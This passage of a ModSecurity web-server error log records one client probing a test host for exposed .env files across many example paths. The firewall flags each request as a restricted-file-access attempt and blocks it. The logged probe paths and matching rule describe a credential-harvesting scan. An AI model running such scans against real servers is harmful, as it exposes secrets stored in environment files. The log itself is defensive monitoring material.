&quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjuQAAAAc&quot;]
[Mon Jul 28 20:46:09.231486 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjuQAAAAc&quot;]
[Mon Jul 28 20:46:09.231662 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample01/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjuQAAAAc&quot;]
[Mon Jul 28 20:46:09.251594 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /example27-how-to-load-env/sample02/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjugAAAAc&quot;]
[Mon Jul 28 20:46:09.251777 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjugAAAAc&quot;]
[Mon Jul 28 20:46:09.251933 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/example27-how-to-load-env/sample02/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjugAAAAc&quot;]
[Mon Jul 28 20:46:09.271892 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjuwAAAAc&quot;]
[Mon Jul 28 20:46:09.272064 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjuwAAAAc&quot;]
[Mon Jul 28 20:46:09.272237 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjuwAAAAc&quot;]
[Mon Jul 28 20:46:09.292868 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/01-simple-model/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjvAAAAAc&quot;]
[Mon Jul 28 20:46:09.293046 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjvAAAAAc&quot;]
[Mon Jul 28 20:46:09.293206 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/01-simple-model/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjvAAAAAc&quot;]
[Mon Jul 28 20:46:09.313226 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/02-complex-example/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjvQAAAAc&quot;]
[Mon Jul 28 20:46:09.313419 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjvQAAAAc&quot;]
[Mon Jul 28 20:46:09.313585 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/02-complex-example/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjvQAAAAc&quot;]
[Mon Jul 28 20:46:09.333630 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/03-one-to-many-relationship/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjvgAAAAc&quot;]
[Mon Jul 28 20:46:09.333808 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjvgAAAAc&quot;]
[Mon Jul 28 20:46:09.333966 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/03-one-to-many-relationship/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjvgAAAAc&quot;]
[Mon Jul 28 20:46:09.353906 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/04-many-to-many-relationship/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjvwAAAAc&quot;]
[Mon Jul 28 20:46:09.354079 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjvwAAAAc&quot;]
[Mon Jul 28 20:46:09.354245 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/04-many-to-many-relationship/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjvwAAAAc&quot;]
[Mon Jul 28 20:46:09.375755 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/05-migrations/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjwAAAAAc&quot;]
[Mon Jul 28 20:46:09.375941 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjwAAAAAc&quot;]
[Mon Jul 28 20:46:09.376108 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/05-migrations/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjwAAAAAc&quot;]
[Mon Jul 28 20:46:09.396189 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/06-base-service/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjwQAAAAc&quot;]
[Mon Jul 28 20:46:09.396370 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjwQAAAAc&quot;]
[Mon Jul 28 20:46:09.396538 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/06-base-service/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjwQAAAAc&quot;]
[Mon Jul 28 20:46:09.416653 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/07-feature-flags/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjwgAAAAc&quot;]
[Mon Jul 28 20:46:09.416840 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjwgAAAAc&quot;]
[Mon Jul 28 20:46:09.417004 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/07-feature-flags/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjwgAAAAc&quot;]
[Mon Jul 28 20:46:09.436946 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/08-performance/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjwwAAAAc&quot;]
[Mon Jul 28 20:46:09.437120 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjwwAAAAc&quot;]
[Mon Jul 28 20:46:09.437283 2025] [:error] [pid 1533944] [client 185.177.72.201:42766] [client 185.177.72.201] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/08-performance/.env&quot;] [unique_id &quot;aIfFcVcqnrybmcpdiyhjwwAAAAc&quot;]
